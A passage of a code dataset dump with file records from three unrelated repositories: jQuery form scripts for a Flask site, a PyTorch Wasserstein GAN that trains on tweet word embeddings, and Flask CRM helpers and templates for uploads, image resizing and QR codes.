0.42411643266677856, "alphanum_fraction": 0.42411643266677856, "avg_line_length": 16.851852416992188, "blob_id": "a7814e72e60935875c69d3288425a5de6233e056", "content_id": "40b0141aa3f47da36880a896f41c4fb22c785f96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 481, "license_type": "no_license", "max_line_length": 45, "num_lines": 27, "path": "/static/js/add_user.js", "repo_name": "seantristan127/flask-myriad", "src_encoding": "UTF-8", "text": "$(document).ready(function() {\n\t$('#submitUser').on('click', function() {\n\t\t$.ajax({\n\t\t\tdata : {\n\t\t\t fname : $('#fname').val(),\n lname : $('#lname').val(),\n email : $('#email').val(),\n password : $('#password').val()\n\t\t\t},\n\t\t\ttype : 'POST',\n\t\t\turl : '/process_user'\n\t\t})\n\t\t.done(function(data) {\n\n\t\t\t$('#fname').val('');\n\t\t\t$('#lname').val('');\n\t\t\t$('#email').val('');\n\t\t\t$('#password').val('');\n\n\n\t\t});\n\n\t\tevent.preventDefault();\n\n\t});\n\n});" }, { "alpha_fraction": 0.42222222685813904, "alphanum_fraction": 0.42222222685813904, "avg_line_length": 23.230770111083984, "blob_id": "c21f5bd17d00962d6b7792fcf5906de2d16bdfc1", "content_id": "274ee1f85f64b8b9a98814bd1dda8dc7d8f31f07", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 630, "license_type": "no_license", "max_line_length": 44, "num_lines": 26, "path": "/static/js/form.js", "repo_name": "seantristan127/flask-myriad", "src_encoding": "UTF-8", "text": "$(document).ready(function(){\n $('#addUser').on('click', function() {\n\n $.ajax({\n data:{\n username : $('#username').val(),\n email : $('#email').val(),\n firstname : $('#firstname').val(),\n lastname : $('#lastname').val(),\n password : $('#password').val()\n },\n type : 'POST',\n url : '/admin_add_user'\n })\n .done(function(data) {\n\n\t\t\t$('#username').val('');\n\t\t\t$('#email').val('');\n\t\t\t$('#firstname').val('');\n\t\t\t$('#lastname').val('');\n\t\t\t$('#password').val('');\n\t\t\t$('#repeat-pass').val('');\n\t\t});\n event.preventDefault();\n });\n});\n" }, { "alpha_fraction": 0.7636363506317139, "alphanum_fraction": 0.7636363506317139, "avg_line_length": 10, "blob_id": "2a26884ad33a9e4ebb450932d9e85defbb85720a", "content_id": "1806ccf6051ccc361cdcfe3180dd6aa6334723c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 55, "license_type": "no_license", "max_line_length": 21, "num_lines": 5, "path": "/README.md", "repo_name": "seantristan127/flask-myriad", "src_encoding": "UTF-8", "text": "# myriad-web\n\n\nTeam Name: Myriad\nCompany: Confidential\n" }, { "alpha_fraction": 0.46817249059677124, "alphanum_fraction": 0.4887063801288605, "avg_line_length": 39.41666793823242, "blob_id": "5d871024d92247f1b0dd1d96d9bbe22f657c3161", "content_id": "205fc882a6091ad55bd133b3a772b9e60ce9eae9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 487, "license_type": "no_license", "max_line_length": 76, "num_lines": 12, "path": "/static/js/browse_books.js", "repo_name": "seantristan127/flask-myriad", "src_encoding": "UTF-8", "text": "\n\n$(document).ready(function(){\n $.getJSON(\"http://127.0.0.1:5000/browse_books\",\n function(data){\n $.each(data.products, function(i,product){\n content = '<p>' + product.product_title + '</p>';\n content += '<p>' + product.product_short_description + '</p>';\n content += '<img src=\"' + product.product_thumbnail_src + '\"/>';\n content += '<br/>';\n $(content).appendTo(\"#product_list\");\n });\n });\n});\n" } ]
6
maroth/word-embedding-wgan
https://github.com/maroth/word-embedding-wgan
56d6b450f73a3df5053fb1f7e67fa28a93f0e772
69f6724b229e5316f6b6bbe1e37993e8f37fc2d4
0f54c89870a08c8e7d6005b55f46a0d83d7fb2c5
refs/heads/master
2021-04-30T08:38:36.057882
2018-02-13T19:34:00
2018-02-13T19:34:00
121,380,140
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5783701539039612, "alphanum_fraction": 0.5889744162559509, "avg_line_length": 32.74509811401367, "blob_id": "704202a18fd0797c5cd2bb4994de0a1a1e3ae5b3", "content_id": "621598229bacd17aeadd462b5385a40c488805c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13770, "license_type": "no_license", "max_line_length": 123, "num_lines": 408, "path": "/train_cuda.py", "repo_name": "maroth/word-embedding-wgan", "src_encoding": "UTF-8", "text": "import time\nimport datetime\nimport unittest\nimport re\nimport collections\n\nimport numpy as np\nfrom tensorboard_logger import configure, log_value, Logger\n\nfrom torchtext import data\nimport spacy\nfrom tqdm import tqdm\n\nimport torch\nfrom torch import autograd\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\n\n\nDIM = 25\nSEQ_LEN = 10\nBATCH_SIZE = 64\nITERS = 200000 # How many iterations to train for\nCRITIC_ITERS = 10\nLAMBDA = 10 # Gradient penalty lambda hyperparameter.\nG_LEARNING_RATE = 1e-4\nD_LEARNING_RATE = 1e-4\nNOISE_SIZE = 2 * DIM\nD_HIDDEN = 15\n\n#load tokenizer data\nspacy_en = spacy.load('en')\n\n\n#tokenize, save all lines \nlines = []\nidentifier_re = re.compile(\"@([0-9]){6}\")\ndef tokenizer(text):\n text = text.replace('!', ' ').replace('-', ' ').replace(',', ' ').replace(\"'\", '')\n text = text.replace(' ', ' ').replace(' ', ' ')\n text = re.sub(identifier_re, '', text)\n lines.append(text)\n return [tok.text for tok in spacy_en.tokenizer(text) if not tok.text.isspace()]\n\nTWEET = data.ReversibleField(sequential=True, tokenize=tokenizer, lower=True,\ninclude_lengths=True)\n\ndata_set = data.TabularDataset(\n path = 'twcs_cleaned_airasia.csv',\n format = 'csv',\n fields = [\n ('tweet_id', None),\n ('author_id', None),\n ('inbound', None),\n ('created_at', None),\n ('text', TWEET),\n ('in_response_to_tweet_id', None)\n ])\n\n#load vocabulary. use GloVe embeddings, only consider words that appear 15 times at least\nTWEET.build_vocab(data_set, vectors='glove.twitter.27B.25d', min_freq=15)\n\nvocab = TWEET.vocab\nprint('vocab size:', len(vocab))\n\n#these are words that are in the tweets but not in the embedding dataset\nprint('unknown embeddings:', len(set(\n [word for word in vocab.itos if vocab.vectors[vocab.stoi[word]].equal(torch.FloatTensor(25).fill_(0))]\n)))\n \n\nvocab = TWEET.vocab\nembed = nn.Embedding(len(vocab), DIM).cuda()\nembed.weight.data.copy_(vocab.vectors)\n\n(iterator,) = data.Iterator.splits((data_set, ), (BATCH_SIZE,), shuffle=True, repeat = True, sort = False)\n\n#from: https://github.com/caogang/wgan-gp/blob/master/language_helpers.py\nclass NgramLanguageModel(object):\n def __init__(self, n, samples, tokenize=False):\n if tokenize:\n tokenized_samples = []\n for sample in samples:\n tokenized_samples.append(tokenize_string(sample))\n samples = tokenized_samples\n\n self._n = n\n self._samples = samples\n self._ngram_counts = collections.defaultdict(int)\n self._total_ngrams = 0\n for ngram in self.ngrams():\n self._ngram_counts[ngram] += 1\n self._total_ngrams += 1\n\n def ngrams(self):\n n = self._n\n for sample in self._samples:\n for i in range(len(sample)-n+1):\n yield sample[i:i+n]\n\n def unique_ngrams(self):\n return set(self._ngram_counts.keys())\n\n def log_likelihood(self, ngram):\n if ngram not in self._ngram_counts:\n return -np.inf\n else:\n return np.log(self._ngram_counts[ngram]) - np.log(self._total_ngrams)\n\n def kl_to(self, p):\n # p is another NgramLanguageModel\n log_likelihood_ratios = []\n for ngram in p.ngrams():\n log_likelihood_ratios.append(p.log_likelihood(ngram) - self.log_likelihood(ngram))\n return np.mean(log_likelihood_ratios)\n\n def cosine_sim_with(self, p):\n # p is another NgramLanguageModel\n p_dot_q = 0.\n p_norm = 0.\n q_norm = 0.\n for ngram in p.unique_ngrams():\n p_i = np.exp(p.log_likelihood(ngram))\n q_i = np.exp(self.log_likelihood(ngram))\n p_dot_q += p_i * q_i\n p_norm += p_i**2\n for ngram in self.unique_ngrams():\n q_i = np.exp(self.log_likelihood(ngram))\n q_norm += q_i**2\n return p_dot_q / (np.sqrt(p_norm) * np.sqrt(q_norm))\n\n def precision_wrt(self, p):\n # p is another NgramLanguageModel\n num = 0.\n denom = 0\n p_ngrams = p.unique_ngrams()\n for ngram in self.unique_ngrams():\n if ngram in p_ngrams:\n num += self._ngram_counts[ngram]\n denom += self._ngram_counts[ngram]\n return float(num) / denom\n\n def recall_wrt(self, p):\n return p.precision_wrt(self)\n\n def js_with(self, p):\n log_p = np.array([p.log_likelihood(ngram) for ngram in p.unique_ngrams()])\n log_q = np.array([self.log_likelihood(ngram) for ngram in p.unique_ngrams()])\n log_m = np.logaddexp(log_p - np.log(2), log_q - np.log(2))\n kl_p_m = np.sum(np.exp(log_p) * (log_p - log_m))\n\n log_p = np.array([p.log_likelihood(ngram) for ngram in self.unique_ngrams()])\n log_q = np.array([self.log_likelihood(ngram) for ngram in self.unique_ngrams()])\n log_m = np.logaddexp(log_p - np.log(2), log_q - np.log(2))\n kl_q_m = np.sum(np.exp(log_q) * (log_q - log_m))\n\n return 0.5*(kl_p_m + kl_q_m) / np.log(2)\n\n\n#from: https://github.com/caogang/wgan-gp/blob/master/gan_language.py\nclass ResBlock(nn.Module):\n\n def __init__(self):\n super(ResBlock, self).__init__()\n\n self.res_block = nn.Sequential(\n nn.ReLU(True),\n nn.Conv1d(DIM, DIM, 3, padding=1),#nn.Linear(DIM, DIM),\n nn.ReLU(True),\n nn.Conv1d(DIM, DIM, 3, padding=1),#nn.Linear(DIM, DIM),\n )\n\n def forward(self, input):\n output = self.res_block(input)\n return input + (0.3*output)\n\n#adapted from: https://github.com/caogang/wgan-gp/blob/master/gan_language.py\nclass Generator(nn.Module):\n\n def __init__(self):\n super(Generator, self).__init__()\n\n self.fc1 = nn.Linear(NOISE_SIZE, DIM*SEQ_LEN)\n self.block = nn.Sequential(\n ResBlock(),\n ResBlock(),\n ResBlock(),\n ResBlock(),\n ResBlock(),\n )\n self.conv1 = nn.Conv1d(DIM, DIM, 1)\n self.softmax = nn.Softmax()\n\n def forward(self, noise):\n output = self.fc1(noise)\n output = output.view(-1, DIM, SEQ_LEN) # (BATCH_SIZE, DIM, SEQ_LEN)\n output = self.block(output)\n output = self.conv1(output)\n output = output.transpose(1, 2)\n #shape = output.size()\n output = output.contiguous()\n return output\n #output = output.view(BATCH_SIZE*SEQ_LEN, -1)\n #output = self.softmax(output)\n #return output.view(shape) # (BATCH_SIZE, SEQ_LEN, len(charmap))\n\n#adapted from: https://github.com/caogang/wgan-gp/blob/master/gan_language.py\nclass Discriminator(nn.Module):\n\n def __init__(self):\n super(Discriminator, self).__init__()\n\n self.block = nn.Sequential(\n ResBlock(),\n ResBlock(),\n ResBlock(),\n ResBlock(),\n ResBlock(),\n )\n self.conv1d = nn.Conv1d(DIM, DIM, 1)\n self.linear = nn.Linear(SEQ_LEN*DIM, 1)\n\n def forward(self, input):\n output = input.transpose(1, 2) # (BATCH_SIZE, len(charmap), SEQ_LEN)\n output = self.conv1d(output)\n output = self.block(output)\n output = output.view(-1, SEQ_LEN*DIM)\n output = self.linear(output)\n return output\n\n\nnetG = Generator().cuda()\nnetD = Discriminator().cuda()\n\noptimizerD = optim.Adam(netD.parameters(), lr=D_LEARNING_RATE, betas=(0.5, 0.9))\noptimizerG = optim.Adam(netG.parameters(), lr=G_LEARNING_RATE, betas=(0.5, 0.9))\n\ndef normalize_length(tensor):\n padded = torch.cat([tensor, tensor.new(SEQ_LEN - tensor.size(0), *tensor.size()[1:]).zero_()])\n narrowed = padded.narrow(0, 0, SEQ_LEN)\n return narrowed\n\n\n# expects DIM\ndef get_closest_word(a_word):\n minim = []\n for word in vocab.itos:\n embedding = (vocab.vectors[vocab.stoi[word]])\n a = a_word.unsqueeze(0).cpu()\n b = Variable(embedding.unsqueeze(0))\n dist = 1 - F.cosine_similarity(a, b)\n minim.append((dist.data[0], word))\n minim = sorted(minim, key=lambda v: v[0])\n closest_word = minim[0][1]\n return closest_word\n\n\n#returns tensor BATCH_SIZE, SEQ_LEN, DIM\ndef get_next():\n for data in iterator:\n (x, x_lengths) = data.text\n input = Variable(normalize_length(x.data))\n embed_input = embed(input)\n embed_input = embed_input.permute(1, 0, 2) \n embed_input.cuda().contiguous()\n yield embed_input\n \n\n#expects BATCH_SIZE, SEQ_LEN, DIM\ndef de_embed(embedding):\n samples = []\n for sequence in embedding[:10]:\n seq = \"\"\n for word in sequence:\n seq += \" \" + get_closest_word(word)\n samples.append(seq)\n return samples\n\n\ndef generate_samples(netG):\n noise = torch.randn(10, NOISE_SIZE).cuda()\n noisev = Variable(noise, volatile=True) \n fake = Variable(netG(noisev).data) \n return de_embed(fake)\n\n\ndef calc_gradient_penalty(netD, real_data, fake_data):\n alpha = torch.rand(BATCH_SIZE, 1, 1)\n alpha = alpha.expand(real_data.size()).cuda()\n\n interpolates = alpha * real_data + ((1 - alpha) * fake_data)\n\n interpolates = interpolates.cuda()\n interpolates = Variable(interpolates, requires_grad=True)\n\n disc_interpolates = netD(interpolates)\n\n # TODO: Make ConvBackward diffentiable\n gradients = autograd.grad(outputs=disc_interpolates, inputs=interpolates,\n grad_outputs=torch.ones(disc_interpolates.size()).cuda(),\n create_graph=True, retain_graph=True, only_inputs=True)[0]\n\n gradient_penalty = ((gradients.norm(2, dim=1) - 1) ** 2).mean() * LAMBDA\n return gradient_penalty\n\n\none = torch.FloatTensor([1]).cuda()\nmone = (one * -1).cuda()\n\n#from: https://github.com/caogang/wgan-gp/blob/master/gan_language.py\n# During training we monitor JS divergence between the true & generated ngram\n# distributions for n=1,2,3,4. To get an idea of the optimal values, we\n# evaluate these statistics on a held-out set first.\ntrue_char_ngram_lms = [NgramLanguageModel(i+1, lines[10*BATCH_SIZE:], tokenize=False) for i in range(4)]\nvalidation_char_ngram_lms = [NgramLanguageModel(i+1, lines[:10*BATCH_SIZE], tokenize=False) for i in range(4)]\nfor i in range(4):\n print(\"validation set JSD for n={}: {}\".format(i+1, true_char_ngram_lms[i].js_with(validation_char_ngram_lms[i])))\ntrue_char_ngram_lms = [NgramLanguageModel(i+1, lines, tokenize=False) for i in range(4)]\n\n#from: https://github.com/caogang/wgan-gp/blob/master/gan_language.py\nstrnow = str(datetime.datetime.now())\nlogger = Logger(\"runs/run-\"+strnow, flush_secs=5)\ndef train():\n print('EXAMPLE REAL:', de_embed(next(get_next()))[0])\n print('EXAMPLE GENERATED:', generate_samples(netG)[0])\n for iteration in tqdm(range(ITERS)):\n start_time = time.time()\n ############################\n # (1) Update D network\n ###########################\n for p in netD.parameters(): # reset requires_grad\n p.requires_grad = True # they are set to False below in netG update\n\n for iter_d in range(CRITIC_ITERS):\n real_data_v = next(get_next())\n \n netD.zero_grad()\n\n # train with real\n D_real = netD(real_data_v)\n D_real = D_real.mean()\n \n # TODO: Waiting for the bug fix from pytorch\n D_real.backward(mone)\n\n # train with fake\n noise = torch.randn(BATCH_SIZE, NOISE_SIZE).cuda()\n noisev = Variable(noise, volatile=True) # totally freeze netG\n fake = netG(noisev)\n fake = Variable(fake.data)\n \n D_fake = netD(fake)\n D_fake = D_fake.mean()\n # TODO: Waiting for the bug fix from pytorch\n D_fake.backward(one)\n\n # train with gradient penalty\n gradient_penalty = calc_gradient_penalty(netD, real_data_v.data, fake.data)\n gradient_penalty.backward()\n\n D_cost = D_fake - D_real + gradient_penalty\n Wasserstein_D = D_real - D_fake\n optimizerD.step()\n\n ############################\n # (2) Update G network\n ###########################\n for p in netD.parameters():\n p.requires_grad = False # to avoid computation\n netG.zero_grad()\n\n noise = torch.randn(BATCH_SIZE, NOISE_SIZE).cuda()\n noisev = Variable(noise)\n fake = netG(noisev)\n G = netD(fake)\n G = G.mean()\n G.backward(mone)\n G_cost = -G\n optimizerG.step()\n\n # Write logs and save samples\n \n #if disc_cost is positive, fake tweets are more likely believed that real tweets\n logger.log_value('disc_cost', D_cost.cpu().data.numpy(), iteration)\n \n #low gen_cost means discriminator is often fooled by fake tweets\n logger.log_value('gen_cost', G_cost.cpu().data.numpy(), iteration)\n \n #if wasserstein_dist is positive, real tweets are more likely to be believed than fake tweets\n logger.log_value('wasserstein_dist', Wasserstein_D.cpu().data.numpy(), iteration)\n\n if iteration % 100 == 99:\n samples = []\n samples.extend(generate_samples(netG))\n\n with open('samples_{}.txt'.format(iteration), 'w') as f:\n for s in samples:\n s = \"\".join(s)\n f.write(s + \"\\n\")\n print(s)\n \n for i in range(4):\n lm = NgramLanguageModel(i+1, samples, tokenize=False) \n logger.log_value('Jensen–Shannon divergence {}'.format(i+1), lm.js_with(true_char_ngram_lms[i]), iteration)\n \ntrain()\n" }, { "alpha_fraction": 0.77329421043396, "alphanum_fraction": 0.7740278840065002, "avg_line_length": 33.9487190246582, "blob_id": "93f78b1056f0a5f4f772516860eaec17a29ba791", "content_id": "cb3b297738895273e6113fee032d019a6ccedc1a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1363, "license_type": "no_license", "max_line_length": 98, "num_lines": 39, "path": "/README.md", "repo_name": "maroth/word-embedding-wgan", "src_encoding": "UTF-8", "text": "# Word-embedding-wgan\nA prototype for the seminar Chatbots and Conversational agents\n\nMarkus Roth\nmarkus.roth1{ät}@students.unibe.ch\n\nThe code is heavily based on https://github.com/caogang/wgan-gp/blob/master/gan_language.py\nThe torchtext stuff is heavily based on http://anie.me/On-Torchtext/\n\n# My contributions:\n* I adapted gan_language.py to not work on characters, but on words\n* The tweet dataset is loaded from CSV and cleaned\n* A dictionary is built from the tweet dataset, only words of a certain frequency are considered\n* The words are embedded using a pre-trained word embedding (GloVE)\n* Dimensions of the networks are changed (SEQ_LEN, DIM)\n* The output of the generator is no longer a softmax, but simply a linear layer\n* The generation of example sequences is done via nearest-neighbor within the word embedding space\n* Value logging is done with TensorBoard \n* Training duration progress bar with tqdm\n\n# Prerequisites:\n* Internet connection (to automatically download GloVE word embeddings)\n* Python 3\n* NumPy\n* PyTorch\n* SpaCY\n* tensorboard_logger\n* tqdm\n* CUDA (for train_cuda.py)\n\nIt is probably easiest to install Anaconda, it includes a lot of this (https://www.anaconda.com/)\nI didn't try to run this on Windows, only Linux\n\n# Running\nTo run CUDA version (for systems with a GPU and CUDA configured):\n$python train_cuda.py\n\nTo run CPU version (slower):\n$python train.py\n" } ]
2
ubqai/seesun_crm_services
https://github.com/ubqai/seesun_crm_services
97591eb882527da501dcf52322bf99662ba69938
e08cc69f133860b2aa3aa6a50f23d79c14a24bd2
829b371dc434944c97a1e38e6ccfc956a3dcad41
refs/heads/master
2021-01-09T05:50:41.023760
2017-09-26T01:15:56
2017-09-26T01:15:56
80,813,105
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6223241686820984, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 22.35714340209961, "blob_id": "2dd35f628a8368a77f5cb3076ad6c6f82c2bd92e", "content_id": "c7a0c870cfd038a2e2290159a28a4213d69b428b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 654, "license_type": "no_license", "max_line_length": 80, "num_lines": 28, "path": "/migrations/versions/a2c6970d8137_add_product_ids_to_contents.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add product ids to contents\n\nRevision ID: a2c6970d8137\nRevises: 0ad45412bffd\nCreate Date: 2017-02-22 15:02:32.385131\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'a2c6970d8137'\ndown_revision = '0ad45412bffd'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('content', sa.Column('product_ids', sa.JSON(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('content', 'product_ids')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6016062498092651, "alphanum_fraction": 0.6152348518371582, "avg_line_length": 31.0859375, "blob_id": "a64559a772954752e3083837b1a9a40088032c55", "content_id": "9b14fe3ef5dddda092ef1a9610d7b16467d611d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4109, "license_type": "no_license", "max_line_length": 100, "num_lines": 128, "path": "/application/helpers.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport os, datetime, random, string\nfrom flask import render_template, request\nfrom werkzeug.utils import secure_filename\nfrom PIL import Image\nimport qrcode\n\nfrom . import app\n\n\ndef object_list(template_name, query, paginate_by=20, **context):\n page = request.args.get('page')\n if page and page.isdigit():\n page = int(page)\n else:\n page = 1 \n object_list = query.paginate(page, paginate_by)\n return render_template(template_name, object_list=object_list, **context)\n\n\ndef gen_rnd_filename(prefix='', postfix=''):\n format_time = datetime.datetime.now().strftime('%Y%m%d%H%M%S')\n return '%s%s%s%s' % (prefix, format_time, str(random.randrange(1000, 10000)), postfix)\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1] in app.config['ALLOWED_EXTENSIONS']\n\n\n# Save upload file and return relative path\ndef save_upload_file(file):\n if allowed_file(file.filename):\n filename_prefix = gen_rnd_filename()\n try:\n new_filename = secure_filename(filename_prefix + file.filename)\n except:\n fname, fext = os.path.splitext(file.filename)\n new_filename = secure_filename(filename_prefix + fext)\n filepath = os.path.join(app.static_folder, 'upload', new_filename)\n file.save(filepath)\n return '/static/upload/%s' % new_filename\n return None\n\n\ndef delete_file(file_path):\n try:\n os.remove(app.config['APPLICATION_DIR'] + file_path)\n except:\n pass\n\n \n# This function is for clipping image by a specific size.\n# First, check whether original image's size is bigger than specific.\n# If yes, resize original image by proportion until width or height is equal to specific size.\n# Final, crop the center region of image and save it.\ndef clip_image(filepath, size=(100, 100)):\n # file path should be absolute path\n image = Image.open(filepath)\n width = image.size[0]\n height = image.size[1]\n if width > size[0] and height > size[1]:\n if width/size[0] >= height/size[1]:\n x = int(size[1]*width/height)\n y = int(size[1])\n image = image.resize((x, y), Image.ANTIALIAS)\n dx = x - size[0]\n box = (dx/2, 0, x-dx/2, y)\n image = image.crop(box)\n else:\n x = int(size[0]) \n y = int(size[0]*height/width)\n image = image.resize((x, y), Image.ANTIALIAS)\n dy = y - size[1]\n box = (0, dy/2, x, y-dy/2)\n image = image.crop(box)\n else:\n dx = int(width - size[0])\n dy = int(height - size[1])\n box = (dx/2, dy/2, width-dx/2, height-dy/2)\n image = image.crop(box)\n image.save(filepath)\n\n\n# resize large images to specified width, reduce file size.\ndef resize_image_by_width(filepath, new_width=640):\n image = Image.open(filepath)\n width = image.size[0]\n height = image.size[1]\n if width > new_width:\n new_height = int(new_width / width * height)\n image = image.resize((new_width, new_height), Image.ANTIALIAS)\n image.save(filepath)\n else:\n pass\n\n\n# This function is for generating qrcode image\ndef gen_qrcode(data, output_filename=None):\n error = ''\n if output_filename:\n filename = gen_rnd_filename() + output_filename\n else:\n filename = gen_rnd_filename(prefix='qr') + '.png'\n qr = qrcode.QRCode(\n version=2,\n error_correction=qrcode.constants.ERROR_CORRECT_L,\n box_size=10,\n border=1\n )\n qr.add_data(data)\n qr.make(fit=True)\n image = qr.make_image()\n filepath = os.path.join(app.static_folder, 'upload/qrcode', filename)\n dirname = os.path.dirname(filepath)\n if not os.path.exists(dirname):\n try:\n os.makedirs(dirname)\n except:\n error = 'ERROR_CREATE_DIR'\n if not error:\n image.save(filepath)\n return filename\n else:\n return None\n\n\ndef gen_random_string(length=16):\n return ''.join(random.sample(string.ascii_letters + string.digits + string.punctuation, length))\n\n\n" }, { "alpha_fraction": 0.5099124908447266, "alphanum_fraction": 0.5150919556617737, "avg_line_length": 50.37614822387695, "blob_id": "7a413fa6c2d34e66e5392550f31ceb2126a26009", "content_id": "ca54d750b17a3c212dccc42d060fd83f9f54d7d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 5679, "license_type": "no_license", "max_line_length": 143, "num_lines": 109, "path": "/application/templates/organization/user_update.html", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "{% extends 'pc_base.html' %}\n{% from 'macros/pc_partial.html' import sidebar with context %}\n{% block main_content %}\n\n{{ sidebar(active = 'organization') }}\n\n<div class=\"contents\">\n <div class=\"contents-header\">\n <div class=\"contents-header-img\"><img class=\"full-img\" src=\"/static/images/product.png\" /></div>\n\t<p class=\"contents-header-p\">用户管理</p>\n\t<p class=\"contents-header-p text-sm\">user management</p>\n </div>\n <div class=\"separator\"><span></span></div>\n <form class=\"form form-horizontal\" method=\"post\" action=\"{{ url_for('organization.user_update',user_id=user_id) }}\" role=\"form\">\n <div class=\"widget_contents padding-0 item-wrapper\">\n <div class=\"form-item item-template\">\n\t\t \t{{ form.csrf_token }}\n <div class=\"form-item-2 col-3\">\n <span>{{ form.user_type.label }}</span>\n {{ form.user_type(class = 'form-input form-control',id=\"select_user_type\",disabled=\"disabled\") }}\n </div>\n <div class=\"form-item-2 col-3\">\n <span>* {{ form.email.label }}</span>\n {{ form.email(class = 'form-input form-control',placeholder=\"请输入email\",readonly=\"readonly\") }}\n </div>\n <div class=\"form-item-2 col-3\">\n <span>* {{ form.name.label }}</span>\n {{ form.name(class = 'form-input form-control',placeholder=\"请输入姓名\",required=\"required\") }}\n </div>\n\n <div class=\"form-item-2 col-3\">\n <span>{{ form.title.label }}</span>\n {{ form.title(class = 'form-input form-control',placeholder=\"请输入头衔\") }}\n </div>\n \n <div class=\"form-item-2 col-3\">\n <span>{{ form.nickname.label(id='label_nickname') }}</span>\n {{ form.nickname(class = 'form-input form-control',placeholder=\"请输入昵称\") }}\n </div>\n \n <div class=\"form-item-2 col-3\" style=\"display:none\">\n <input type=\"password\" class=\"form-input form-control\" id=\"password\" name=\"password\" value=\"valid_password\">\n <input type=\"password\" class=\"form-input form-control\" id=\"password_confirm\" name=\"password_confirm\" value=\"valid_password\">\n </div>\n <div class=\"form-item-2 col-3\">\n <span>* {{ form.phone.label(id='label_phone') }}</span>\n {{ form.phone(class = 'form-input form-control',placeholder=\"请输入电话\",required=\"required\") }}\n </div>\n\n <div class=\"form-item-2 col-3\">\n <span>* {{ form.address.label }}</span>\n {{ form.address(class = 'form-input form-control',placeholder=\"请输入地址\",required=\"required\") }}\n </div>\n \n <div class=\"form-item-2 col-3\" id=\"search_user_dept_ranges\">\n <span style=\"vertical-align:middle\">* {{ form.dept_ranges.label }}</span>\n {{ form.dept_ranges(class = 'form-input form-control') }}\n {% for dh_default in form.dept_ranges.default %}\n <input type=\"hidden\" id=\"dept_ranges_hidden_{{dh_default.id}}\" class=\"dept_ranges_hidden\" value=\"{{dh_default.id}}\">\n {% endfor %}\n </div>\n <div class=\"form-item-2 col-3\" id=\"search_user_sale_range_province\" style=\"display:none\">\n <span>{{ form.sale_range_province.label }}</span>\n {{ form.sale_range_province(class=\"form-input form-control\",id=\"select_sale_range_province\") }}\n </div>\n <div class=\"form-item-2 col-3\" id=\"search_user_sale_range\" style=\"display:none\">\n <span>* {{ form.sale_range.label }}</span>\n {{ form.sale_range(class=\"form-input form-control\",id=\"select_sale_range\") }}\n <input type=\"hidden\" id=\"sale_range_hidden\" class=\"sale_range_hidden\" value=\"{{form.sale_range.default}}\">\n </div>\n <div class=\"form-item-2 col-3\" id=\"search_join_dealer\" style=\"display:none\">\n <span>* {{ form.join_dealer.label }}</span>\n {{ form.join_dealer(class=\"form-input form-control\",id=\"join_dealer\") }}\n </div>\n <div class=\"form-item-2 col-3\">\n <span>* {{ form.is_anonymous.label }}</span>\n {% if current_user.get_max_level_grade() == 1 %}\n {{ form.is_anonymous(class=\"form-input form-control\",id=\"is_anonymous\") }}\n {% else %}\n {{ form.is_anonymous(class=\"form-input form-control\",id=\"is_anonymous\",disabled=\"disabled\") }}\n {% endif %}\n </div>\n\n <div class=\"text-right top-gap-1\">\n <button type=\"submit\" class=\"btn btn-default my-btn\">修改</button>\n </div>\n\n </div>\n </div>\n <div id=\"loading\" style=\"display:none\">加载中,请稍候</div>\n </form>\n</div>\n\n<script>\n$(function(){ \n $(\"#select_user_type\").change()\n\n var sale_range_hidden=document.getElementById(\"sale_range_hidden\").value;\n if (sale_range_hidden!=\"None\"){\n $(\"#select_sale_range option[value=\"+sale_range_hidden+\"]\").attr(\"selected\",\"selected\"); \n }\n\n $(\".dept_ranges_hidden\").each(function(index){\n $(\"#dept_ranges option[value=\"+this.value+\"]\").attr(\"selected\",\"selected\"); \n });\n});\n</script>\n\n{% endblock %}" }, { "alpha_fraction": 0.6472602486610413, "alphanum_fraction": 0.6489726305007935, "avg_line_length": 37.06666564941406, "blob_id": "5c11182ea875d07da440b27928180a6cee0ce115", "content_id": "d1af643c8b0a7aa8e9aed7965fb9c1c369163ee1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 600, "license_type": "no_license", "max_line_length": 179, "num_lines": 15, "path": "/application/templates/mobile/material_need.html", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "{% extends 'mobile_base.html' %}\r\n{% from 'macros/mobile_partial.html' import header %}\r\n{% block content %}\r\n{{ header('物料需要') }}\r\n\r\n<div class=\"main-content\">\r\n\t<div class=\"center-wrappper\">\r\n\t\t<a class=\"btn btn-warning btn-block text-lg\" href=\"{{ url_for('mobile_material_application_new') }}\">物料申请</a>\r\n\t\t{% for classification in classifications %}\r\n\t\t\t<a class=\"btn btn-default btn-block top-gap-3 text-lg\" href=\"{{ url_for('mobile_material_need_options', classification_id = classification.id) }}\">{{ classification.name }}</a>\r\n\t\t{% endfor %}\r\n\t</div>\r\n</div>\r\n\r\n{% endblock %}" }, { 